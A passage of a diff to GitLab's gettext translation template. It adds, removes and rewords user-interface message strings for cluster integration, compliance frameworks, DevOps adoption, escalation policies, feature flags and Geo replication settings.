-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
